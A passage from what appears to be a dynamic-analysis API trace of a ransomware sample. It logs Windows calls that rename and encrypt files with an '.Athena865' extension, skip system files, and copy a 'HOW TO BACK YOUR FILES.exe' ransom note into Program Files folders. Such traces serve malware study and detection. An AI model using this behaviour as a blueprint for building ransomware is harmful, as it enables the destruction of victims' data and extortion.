lstrlenW (lpString="owc") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0038.390] lstrlenW (lpString="p96") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0038.390] lstrlenW (lpString="p97") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0038.390] lstrlenW (lpString="pan") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0038.390] lstrlenW (lpString="pdb") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0038.390] lstrlenW (lpString="pdm") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0038.390] lstrlenW (lpString="pnz") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0038.390] lstrlenW (lpString="qry") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0038.390] lstrlenW (lpString="qvd") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0038.390] lstrlenW (lpString="rbf") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0038.390] lstrlenW (lpString="rctd") returned 4 [0038.390] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0038.390] lstrlenW (lpString="rod") returned 3 [0038.390] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0038.391] lstrlenW (lpString="rodx") returned 4 [0038.391] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0038.391] lstrlenW (lpString="rpd") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0038.391] lstrlenW (lpString="rsd") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0038.391] lstrlenW (lpString="sas7bdat") returned 8 [0038.391] lstrcmpiW (lpString1="mapi.dll", lpString2="sas7bdat") returned -1 [0038.391] lstrlenW (lpString="sbf") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0038.391] lstrlenW (lpString="scx") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0038.391] lstrlenW (lpString="sdb") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0038.391] lstrlenW (lpString="sdc") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0038.391] lstrlenW (lpString="sdf") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0038.391] lstrlenW (lpString="sis") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0038.391] lstrlenW (lpString="spq") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0038.391] lstrlenW (lpString="te") returned 2 [0038.391] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0038.391] lstrlenW (lpString="teacher") returned 7 [0038.391] lstrcmpiW (lpString1="api.dll", lpString2="teacher") returned -1 [0038.391] lstrlenW (lpString="tmd") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0038.391] lstrlenW (lpString="tps") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0038.391] lstrlenW (lpString="trc") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.391] lstrlenW (lpString="trc") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.391] lstrlenW (lpString="trm") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0038.391] lstrlenW (lpString="udb") returned 3 [0038.391] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0038.392] lstrlenW (lpString="udl") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0038.392] lstrlenW (lpString="usr") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0038.392] lstrlenW (lpString="v12") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0038.392] lstrlenW (lpString="vis") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0038.392] lstrlenW (lpString="vpd") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0038.392] lstrlenW (lpString="vvv") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0038.392] lstrlenW (lpString="wdb") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0038.392] lstrlenW (lpString="wmdb") returned 4 [0038.392] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0038.392] lstrlenW (lpString="wrk") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0038.392] lstrlenW (lpString="xdb") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0038.392] lstrlenW (lpString="xld") returned 3 [0038.392] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0038.392] lstrlenW (lpString="xmlff") returned 5 [0038.392] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0038.392] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\sqmapi.dll.Athena865") returned 55 [0038.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.athena865"), dwFlags=0x1) returned 1 [0038.393] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\sqmapi.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.393] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=244736) returned 1 [0038.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.394] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.394] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.394] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf00, lpName=0x0) returned 0x17c [0038.396] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3bf00) returned 0x170000 [0038.406] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.407] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.407] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.407] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.408] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0038.410] CloseHandle (hObject=0x17c) returned 1 [0038.410] CloseHandle (hObject=0x154) returned 1 [0038.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.414] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0038.414] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.414] ReleaseMutex (hMutex=0xec) returned 1 [0038.414] CloseHandle (hObject=0xec) returned 1 [0038.414] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Analysis Services" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0038.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b058 | out: hHeap=0x4f0000) returned 1 [0038.414] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c320 | out: hHeap=0x4f0000) returned 1 [0038.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services") returned 44 [0038.414] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5D033A94591113AD63EE6DFC0CA12284") returned 0xec [0038.414] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.414] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0038.414] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.414] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.415] GetLastError () returned 0x0 [0038.415] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.415] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.415] CloseHandle (hObject=0xf4) returned 1 [0038.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.415] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc419d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.415] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.416] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.416] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.416] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc419d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.416] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.416] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.416] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.416] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.416] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2=".") returned 1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="..") returned 1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="windows") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="bootmgr") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="temp") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="pagefile.sys") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="boot") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="ids.txt") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="ntuser.dat") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="perflogs") returned -1 [0038.416] lstrcmpiW (lpString1="AS OLEDB", lpString2="MSBuild") returned -1 [0038.416] lstrlenW (lpString="AS OLEDB") returned 8 [0038.416] lstrcpyW (in: lpString1=0x241e8a2, lpString2="AS OLEDB" | out: lpString1="AS OLEDB") returned="AS OLEDB" [0038.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c320 [0038.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d0c0 [0038.416] lstrcatW (in: lpString1="AS OLEDB", lpString2="\\" | out: lpString1="AS OLEDB\\") returned="AS OLEDB\\" [0038.416] lstrcatW (in: lpString1="AS OLEDB\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AS OLEDB\\HOW TO BACK YOUR FILES.exe") returned="AS OLEDB\\HOW TO BACK YOUR FILES.exe" [0038.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.418] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc419d20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0038.418] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0038.418] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc419d20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0038.419] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0038.419] ReleaseMutex (hMutex=0xec) returned 1 [0038.419] CloseHandle (hObject=0xec) returned 1 [0038.419] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office" | out: lpString1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0038.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517258 | out: hHeap=0x4f0000) returned 1 [0038.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c338 | out: hHeap=0x4f0000) returned 1 [0038.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0038.419] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A38A425D639CDB09CC51D8CFCD082DF9") returned 0xec [0038.419] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0038.419] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office" | out: lpString1="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0038.419] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0038.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0038.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0038.419] GetLastError () returned 0x0 [0038.420] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0038.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0038.420] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0038.420] CloseHandle (hObject=0xf4) returned 1 [0038.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.420] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0038.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc419d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0038.420] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.420] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.420] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0038.420] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbc419d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc419d20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.420] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.420] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.420] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0038.420] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0038.420] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2=".") returned 1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="..") returned 1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="windows") returned -1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="bootmgr") returned 1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="temp") returned -1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="pagefile.sys") returned -1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="boot") returned 1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="ids.txt") returned -1 [0038.420] lstrcmpiW (lpString1="CLIPART", lpString2="ntuser.dat") returned -1 [0038.421] lstrcmpiW (lpString1="CLIPART", lpString2="perflogs") returned -1 [0038.421] lstrcmpiW (lpString1="CLIPART", lpString2="MSBuild") returned -1 [0038.421] lstrlenW (lpString="CLIPART") returned 7 [0038.421] lstrcpyW (in: lpString1=0x241e88c, lpString2="CLIPART" | out: lpString1="CLIPART") returned="CLIPART" [0038.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c338 [0038.421] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528fb0 [0038.421] lstrcatW (in: lpString1="CLIPART", lpString2="\\" | out: lpString1="CLIPART\\") returned="CLIPART\\" [0038.421] lstrcatW (in: lpString1="CLIPART\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CLIPART\\HOW TO BACK YOUR FILES.exe") returned="CLIPART\\HOW TO BACK YOUR FILES.exe" [0038.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\how to back your files.exe"), bFailIfExists=1) returned 1 [0038.424] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2=".") returned 1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="..") returned 1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="windows") returned -1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="bootmgr") returned 1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="temp") returned -1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="pagefile.sys") returned -1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="boot") returned 1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="ids.txt") returned -1 [0038.424] lstrcmpiW (lpString1="Document Themes 14", lpString2="ntuser.dat") returned -1 [0038.425] lstrcmpiW (lpString1="Document Themes 14", lpString2="perflogs") returned -1 [0038.425] lstrcmpiW (lpString1="Document Themes 14", lpString2="MSBuild") returned -1 [0038.425] lstrlenW (lpString="Document Themes 14") returned 18 [0038.425] lstrcpyW (in: lpString1=0x241e88c, lpString2="Document Themes 14" | out: lpString1="Document Themes 14") returned="Document Themes 14" [0038.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f730 [0038.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d138 [0038.425] lstrcatW (in: lpString1="Document Themes 14", lpString2="\\" | out: lpString1="Document Themes 14\\") returned="Document Themes 14\\" [0038.425] lstrcatW (in: lpString1="Document Themes 14\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Document Themes 14\\HOW TO BACK YOUR FILES.exe") 